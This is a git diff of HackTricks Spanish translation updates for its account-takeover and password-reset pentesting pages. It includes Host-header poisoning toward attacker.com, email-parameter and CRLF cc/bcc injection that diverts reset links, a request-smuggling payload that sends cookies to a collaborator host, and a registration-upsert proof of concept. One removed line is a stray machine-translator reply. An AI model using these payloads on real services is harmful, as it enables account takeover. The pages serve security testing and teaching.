mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
60c96a0983
commit
30a322bfb1
@ -2,76 +2,78 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Toma de Control de Registro
|
## Registro Takeover
|
||||||
|
|
||||||
### Registro Duplicado
|
### Registro duplicado
|
||||||
|
|
||||||
- Intenta generar usando un nombre de usuario existente
|
- Intenta registrarte usando un nombre de usuario existente
|
||||||
- Verifica variando el correo electrónico:
|
- Comprueba variaciones del correo:
|
||||||
- mayúsculas
|
- uppsercase
|
||||||
- \+1@
|
- \+1@
|
||||||
- añade algún punto en el correo
|
- add some dot in the email
|
||||||
- caracteres especiales en el nombre del correo (%00, %09, %20)
|
- caracteres especiales en el nombre del correo (%00, %09, %20)
|
||||||
- Pon caracteres en negro después del correo: `test@test.com a`
|
- Pon caracteres en blanco después del email: `test@test.com a`
|
||||||
- victim@gmail.com@attacker.com
|
- victim@gmail.com@attacker.com
|
||||||
- victim@attacker.com@gmail.com
|
- victim@attacker.com@gmail.com
|
||||||
|
|
||||||
### Enumeración de Nombres de Usuario
|
### Enumeración de nombres de usuario
|
||||||
|
|
||||||
Verifica si puedes averiguar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.
|
Comprueba si puedes determinar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.
|
||||||
|
|
||||||
### Política de Contraseñas
|
### Política de contraseñas
|
||||||
|
|
||||||
Al crear un usuario, verifica la política de contraseñas (verifica si puedes usar contraseñas débiles).\
|
Al crear un usuario, revisa la política de contraseñas (comprueba si puedes usar contraseñas débiles).\
|
||||||
En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales.
|
En ese caso puedes intentar bruteforce de credenciales.
|
||||||
|
|
||||||
### Inyección SQL
|
### SQL Injection
|
||||||
|
|
||||||
[**Consulta esta página** ](sql-injection/index.html#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro.
|
[**Check this page** ](sql-injection/index.html#insert-statement)para aprender cómo intentar toma de control de cuentas o extraer información vía **SQL Injections** en formularios de registro.
|
||||||
|
|
||||||
|
### Oauth Takeovers
|
||||||
|
|
||||||
### Toma de Control de Oauth
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
oauth-to-account-takeover.md
|
oauth-to-account-takeover.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Vulnerabilidades de SAML
|
### SAML Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
saml-attacks/
|
saml-attacks/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Cambiar Correo Electrónico
|
### Cambiar el email
|
||||||
|
|
||||||
Cuando estés registrado, intenta cambiar el correo electrónico y verifica si este cambio se valida correctamente o si puedes cambiarlo a correos arbitrarios.
|
Una vez registrado, intenta cambiar el email y comprueba si este cambio se valida correctamente o si puedes cambiarlo a emails arbitrarios.
|
||||||
|
|
||||||
### Más Comprobaciones
|
### Más comprobaciones
|
||||||
|
|
||||||
- Verifica si puedes usar **correos desechables**
|
- Comprueba si puedes usar **correos desechables**
|
||||||
- **Contraseña** **larga** (>200) conduce a **DoS**
|
- Contraseña **larga** (>200) lleva a **DoS**
|
||||||
- **Verifica los límites de tasa en la creación de cuentas**
|
- Comprueba los rate limits en la creación de cuentas
|
||||||
- Usa username@**burp_collab**.net y analiza el **callback**
|
- Usa username@**burp_collab**.net y analiza el **callback**
|
||||||
|
|
||||||
## **Toma de Control de Restablecimiento de Contraseña**
|
## **Password Reset Takeover**
|
||||||
|
|
||||||
### Fuga de Token de Restablecimiento de Contraseña a Través del Referente <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||||
|
|
||||||
1. Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
|
1. Solicita el restablecimiento de contraseña a tu dirección de email
|
||||||
2. Haz clic en el enlace de restablecimiento de contraseña
|
2. Haz clic en el enlace de restablecimiento de contraseña
|
||||||
3. No cambies la contraseña
|
3. No cambies la contraseña
|
||||||
4. Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
|
4. Haz clic en cualquier sitio de terceros (ej.: Facebook, twitter)
|
||||||
5. Intercepta la solicitud en el proxy de Burp Suite
|
5. Intercepta la petición en el proxy de Burp Suite
|
||||||
6. Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
|
6. Comprueba si el header Referer está filtrando el token de restablecimiento de contraseña.
|
||||||
|
|
||||||
### Envenenamiento de Restablecimiento de Contraseña <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||||
|
|
||||||
1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
|
1. Intercepta la petición de restablecimiento en Burp Suite
|
||||||
2. Añade o edita los siguientes encabezados en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
2. Añade o edita los siguientes headers en Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
3. Reenvía la solicitud con el encabezado modificado\
|
3. Reenvía la petición con el header modificado\
|
||||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||||
4. Busca una URL de restablecimiento de contraseña basada en el _encabezado host_ como: `https://attacker.com/reset-password.php?token=TOKEN`
|
4. Busca una URL de restablecimiento basada en el _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
### Restablecimiento de Contraseña a Través del Parámetro de Correo Electrónico <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||||
```bash
|
```bash
|
||||||
# parameter pollution
|
# parameter pollution
|
||||||
email=victim@mail.com&email=hacker@mail.com
|
email=victim@mail.com&email=hacker@mail.com
|
||||||
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
|||||||
email=victim@mail.com%20hacker@mail.com
|
email=victim@mail.com%20hacker@mail.com
|
||||||
email=victim@mail.com|hacker@mail.com
|
email=victim@mail.com|hacker@mail.com
|
||||||
```
|
```
|
||||||
### IDOR en Parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
### IDOR en parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||||
|
|
||||||
1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**.
|
1. El atacante debe iniciar sesión con su cuenta y acceder a la función **Change password**.
|
||||||
2. Inicie Burp Suite e intercepte la solicitud.
|
2. Inicia Burp Suite y intercepta la solicitud\
|
||||||
3. Envíela a la pestaña de repetidor y edite los parámetros: User ID/email\
|
3. Envíala a la pestaña Repeater y edita los parámetros: User ID/email\
|
||||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||||
|
|
||||||
### Token de Restablecimiento de Contraseña Débil <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
### Token débil de restablecimiento de contraseña <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||||
|
|
||||||
El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.\
|
El token de restablecimiento de contraseña debe generarse de forma aleatoria y ser único en cada ocasión.\
|
||||||
Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
|
Intenta determinar si el token expira o si siempre es el mismo; en algunos casos el algoritmo de generación es débil y puede adivinarse. Las siguientes variables podrían usarse en el algoritmo.
|
||||||
|
|
||||||
- Timestamp
|
- Marca de tiempo
|
||||||
- UserID
|
- UserID
|
||||||
- Email del Usuario
|
- Email del usuario
|
||||||
- Nombre y Apellido
|
- Nombre y apellidos
|
||||||
- Fecha de Nacimiento
|
- Fecha de nacimiento
|
||||||
- Criptografía
|
- Criptografía
|
||||||
- Solo números
|
- Solo números
|
||||||
- Secuencia de token pequeña (caracteres entre \[A-Z,a-z,0-9])
|
- Secuencia pequeña de token ( caracteres entre \[A-Z,a-z,0-9])
|
||||||
- Reutilización de token
|
- Reutilización del token
|
||||||
- Fecha de expiración del token
|
- Fecha de expiración del token
|
||||||
|
|
||||||
### Filtración del Token de Restablecimiento de Contraseña <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||||
|
|
||||||
1. Active una solicitud de restablecimiento de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com
|
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
|
||||||
2. Inspeccione la respuesta del servidor y verifique `resetToken`
|
2. Inspect the server response and check for `resetToken`
|
||||||
3. Luego use el token en una URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
### Restablecimiento de Contraseña a Través de Colisión de Nombres de Usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
### Restablecimiento de contraseña vía colisión de nombres de usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||||
|
|
||||||
1. Regístrese en el sistema con un nombre de usuario idéntico al del víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
|
1. Regístrate en el sistema con un nombre de usuario idéntico al de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. e.g: `"admin "`
|
||||||
2. Solicite un restablecimiento de contraseña con su nombre de usuario malicioso.
|
2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
|
||||||
3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
|
3. Usa el token enviado a tu email y restablece la contraseña de la víctima.
|
||||||
4. Conéctese a la cuenta de la víctima con la nueva contraseña.
|
4. Conéctate a la cuenta de la víctima con la nueva contraseña.
|
||||||
|
|
||||||
La plataforma CTFd era vulnerable a este ataque.\
|
La plataforma CTFd fue vulnerable a este ataque.\
|
||||||
Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
### Toma de Control de Cuenta a Través de Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
### Secuestro de cuenta vía Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||||
|
|
||||||
1. Encuentre un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal: `*.domain.com`
|
1. Encuentra un XSS dentro de la aplicación o en un subdominio si las cookies están scoped al dominio padre : `*.domain.com`
|
||||||
2. Filtre la **cookie de sesiones** actual.
|
2. Leak the current **sessions cookie**
|
||||||
3. Autentíquese como el usuario utilizando la cookie.
|
3. Autentícate como el usuario usando la cookie
|
||||||
|
|
||||||
### Toma de Control de Cuenta a Través de HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
### Secuestro de cuenta mediante HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
1\. Use **smuggler** para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
1\. Usa **smuggler** para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||||
2\. Elabore una solicitud que sobrescriba el `POST / HTTP/1.1` con los siguientes datos:\
|
2\. Crea una petición que sobrescriba el `POST / HTTP/1.1` con los siguientes datos:\
|
||||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies.\
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con el objetivo de open redirect a las víctimas hacia burpcollab y robar sus cookies\
|
||||||
3\. La solicitud final podría verse como la siguiente
|
3\. La petición final podría verse como la siguiente
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Transfer-Encoding: chunked
|
Transfer-Encoding: chunked
|
||||||
@ -151,29 +153,50 @@ Content-Length: 83
|
|||||||
GET http://something.burpcollaborator.net HTTP/1.1
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
X: X
|
X: X
|
||||||
```
|
```
|
||||||
Hackerone informa sobre la explotación de este error\
|
Hackerone reports exploiting this bug\
|
||||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||||
|
|
||||||
### Toma de Control de Cuenta a través de CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
### Secuestro de cuenta vía CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||||
|
|
||||||
1. Crea un payload para el CSRF, p. ej: “Formulario HTML con envío automático para un cambio de contraseña”
|
1. Crea un payload para el CSRF, p. ej.: “Formulario HTML con autoenvío para un cambio de contraseña”
|
||||||
2. Envía el payload
|
2. Envía el payload
|
||||||
|
|
||||||
### Toma de Control de Cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### Secuestro de cuenta vía JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
JSON Web Token podría ser utilizado para autenticar a un usuario.
|
JSON Web Token podría usarse para autenticar a un usuario.
|
||||||
|
|
||||||
- Edita el JWT con otro ID de Usuario / Correo Electrónico
|
- Edita el JWT con otro User ID / Email
|
||||||
- Verifica la firma débil del JWT
|
- Comprueba si la firma JWT es débil
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
hacking-jwt-json-web-tokens.md
|
hacking-jwt-json-web-tokens.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
## Registration-as-Reset (Upsert on Existing Email)
|
||||||
|
|
||||||
|
Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.
|
||||||
|
|
||||||
|
- Descubrimiento: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
|
||||||
|
- Pistas del método: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
|
||||||
|
- Cuerpo mínimo observado en entornos reales:
|
||||||
|
```json
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Ejemplo de PoC:
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Impacto: Full Account Takeover (ATO) sin ningún reset token, OTP o verificación de correo electrónico.
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
|
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,66 +4,66 @@
|
|||||||
|
|
||||||
## **Password Reset Token Leak Via Referrer**
|
## **Password Reset Token Leak Via Referrer**
|
||||||
|
|
||||||
- The HTTP referer header may leak the password reset token if it's included in the URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
|
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
|
||||||
- **Impacto**: Posible takeover de la cuenta mediante ataques Cross-Site Request Forgery (CSRF).
|
- **Impacto**: Potencial toma de control de la cuenta vía Cross-Site Request Forgery (CSRF).
|
||||||
- **Explotación**: Para comprobar si un password reset token se está leaking en el referer header, **solicita un password reset** a tu dirección de correo y **haz clic en el reset link** proporcionado. **No cambies tu password** inmediatamente. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las peticiones usando Burp Suite**. Inspecciona las peticiones para ver si el **referer header contiene el password reset token**, ya que esto podría exponer información sensible a terceros.
|
- **Exploitation**: Para comprobar si un password reset token está leak en el referer header, solicita un password reset a tu dirección de email y haz clic en el enlace de reset proporcionado. **No cambies tu contraseña** inmediatamente. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las peticiones usando Burp Suite**. Inspecciona las peticiones para ver si el **referer header contiene el password reset token**, ya que esto podría exponer información sensible a terceros.
|
||||||
- **Referencias**:
|
- **References**:
|
||||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||||
|
|
||||||
## **Password Reset Poisoning**
|
## **Password Reset Poisoning**
|
||||||
|
|
||||||
- Los atacantes pueden manipular el Host header durante las peticiones de password reset para apuntar el reset link a un sitio malicioso.
|
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
||||||
- **Impacto**: Conduce a una posible takeover de cuentas al leaking reset tokens a los atacantes.
|
- **Impacto**: Puede provocar la toma de la cuenta al leaking de los reset tokens a los atacantes.
|
||||||
- **Pasos de mitigación**:
|
- **Mitigation Steps**:
|
||||||
- Valida el Host header contra una whitelist de dominios permitidos.
|
- Valida el Host header contra una whitelist de dominios permitidos.
|
||||||
- Usa métodos seguros del lado servidor para generar absolute URLs.
|
- Usa métodos seguros del lado servidor para generar URLs absolutas.
|
||||||
- **Patch**: Usa `$_SERVER['SERVER_NAME']` para construir password reset URLs en lugar de `$_SERVER['HTTP_HOST']`.
|
- **Parche**: Usa `$_SERVER['SERVER_NAME']` para construir las password reset URLs en lugar de `$_SERVER['HTTP_HOST']`.
|
||||||
- **Referencias**:
|
- **References**:
|
||||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
## **Password Reset By Manipulating Email Parameter**
|
## **Password Reset By Manipulating Email Parameter**
|
||||||
|
|
||||||
Los atacantes pueden manipular la petición de password reset añadiendo parámetros de email adicionales para desviar el reset link.
|
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||||
|
|
||||||
- Añadir el email del atacante como segundo parámetro usando &
|
- Añade el email del atacante como segundo parámetro usando &
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com&email=attacker@email.com
|
email=victim@email.com&email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Agregar attacker email como segundo parámetro usando %20
|
- Añade attacker email como segundo parámetro usando %20
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com%20email=attacker@email.com
|
email=victim@email.com%20email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Añadir el correo electrónico del atacante como segundo parámetro usando |
|
- Agrega attacker email como segundo parámetro usando |
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com|email=attacker@email.com
|
email=victim@email.com|email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Añade el correo electrónico del atacante como segundo parámetro usando cc
|
- Añadir attacker email como segundo parámetro usando cc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Añadir attacker email como segundo parámetro usando bcc
|
- Agregar el correo electrónico del attacker como segundo parámetro usando bcc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Añadir attacker email como segundo parámetro usando ,
|
- Añadir el correo electrónico del atacante como segundo parámetro usando ,
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld",email="attacker@mail.tld"
|
email="victim@mail.tld",email="attacker@mail.tld"
|
||||||
```
|
```
|
||||||
Necesito el contenido del archivo o el fragmento JSON que quieres modificar para poder traducirlo y añadir el email del atacante como segundo parámetro en el array JSON. ¿Puedes pegar aquí el texto o el bloque de código?
|
- Añadir el email del atacante como segundo parámetro en json array
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
@ -71,13 +71,13 @@ POST /resetPassword
|
|||||||
```
|
```
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Analizar y validar correctamente los parámetros de correo electrónico en el servidor.
|
- Analizar y validar correctamente los parámetros de correo electrónico en el servidor.
|
||||||
- Usar prepared statements o parameterized queries para prevenir ataques de inyección.
|
- Usar prepared statements o consultas parametrizadas para prevenir ataques de inyección.
|
||||||
- **Referencias**:
|
- **Referencias**:
|
||||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||||
|
|
||||||
## **Cambio de correo electrónico y contraseña de cualquier usuario mediante parámetros de la API**
|
## **Cambiar correo electrónico y contraseña de cualquier usuario a través de parámetros de la API**
|
||||||
|
|
||||||
- Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de la API para cambiar las credenciales de la cuenta.
|
- Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de la API para cambiar las credenciales de la cuenta.
|
||||||
```php
|
```php
|
||||||
@ -86,37 +86,37 @@ POST /api/changepass
|
|||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Asegurar una validación estricta de parámetros y comprobaciones de autenticación.
|
- Asegurar validación estricta de parámetros y comprobaciones de autenticación.
|
||||||
- Implementar logging y monitoreo robustos para detectar y responder a actividades sospechosas.
|
- Implementar registro y monitoreo robustos para detectar y responder a actividades sospechosas.
|
||||||
- **Referencia**:
|
- **Referencia**:
|
||||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||||
|
|
||||||
## **No Rate Limiting: Email Bombing**
|
## **No Rate Limiting: Email Bombing**
|
||||||
|
|
||||||
- La falta de rate limiting en las solicitudes de password reset puede llevar a email bombing, abrumando al usuario con correos de reset.
|
- La falta de rate limiting en las solicitudes de password reset puede derivar en email bombing, saturando al usuario con correos de restablecimiento.
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Implementar rate limiting basado en dirección IP o en la cuenta de usuario.
|
- Implementar rate limiting basado en la dirección IP o la cuenta de usuario.
|
||||||
- Usar desafíos CAPTCHA para prevenir abuso automatizado.
|
- Usar desafíos CAPTCHA para prevenir el abuso automatizado.
|
||||||
- **Referencias**:
|
- **Referencias**:
|
||||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||||
|
|
||||||
## **Find out How Password Reset Token is Generated**
|
## **Averiguar cómo se genera el Password Reset Token**
|
||||||
|
|
||||||
- Entender el patrón o método detrás de la generación del Password Reset Token puede permitir predecirlo o hacer brute-force. Algunas opciones:
|
- Comprender el patrón o método detrás de la generación del token puede permitir predecirlo o forzarlo por fuerza bruta. Algunas opciones:
|
||||||
- Based Timestamp
|
- Basado en timestamp
|
||||||
- Based on the UserID
|
- Basado en el UserID
|
||||||
- Based on email of User
|
- Basado en el email del usuario
|
||||||
- Based on Firstname and Lastname
|
- Basado en nombre y apellido
|
||||||
- Based on Date of Birth
|
- Basado en fecha de nacimiento
|
||||||
- Based on Cryptography
|
- Basado en criptografía
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Usar métodos criptográficos fuertes para la generación de tokens.
|
- Usar métodos criptográficos fuertes para la generación de tokens.
|
||||||
- Asegurar suficiente aleatoriedad y longitud para prevenir predictibilidad.
|
- Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
|
||||||
- **Herramientas**: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.
|
- **Herramientas**: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.
|
||||||
|
|
||||||
## **Guessable UUID**
|
## **Guessable UUID**
|
||||||
|
|
||||||
- Si los UUIDs (version 1) son adivinables o previsibles, los atacantes pueden brute-forcearlos para generar reset tokens válidos. Revisa:
|
- Si los UUIDs (version 1) son adivinables o predecibles, los atacantes pueden forzarlos por fuerza bruta para generar reset tokens válidos. Ver:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -124,27 +124,27 @@ uuid-insecurities.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Usar GUID version 4 para mayor aleatoriedad o implementar medidas adicionales de seguridad para otras versiones.
|
- Usar GUID versión 4 para mayor aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
|
||||||
- **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
- **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
||||||
|
|
||||||
## **Response Manipulation: Replace Bad Response With Good One**
|
## **Response Manipulation: Replace Bad Response With Good One**
|
||||||
|
|
||||||
- Manipular respuestas HTTP para eludir mensajes de error o restricciones.
|
- Manipulación de respuestas HTTP para eludir mensajes de error o restricciones.
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Implementar comprobaciones server-side para asegurar la integridad de las respuestas.
|
- Implementar comprobaciones en el servidor para garantizar la integridad de las respuestas.
|
||||||
- Usar canales de comunicación seguros como HTTPS para prevenir man-in-the-middle.
|
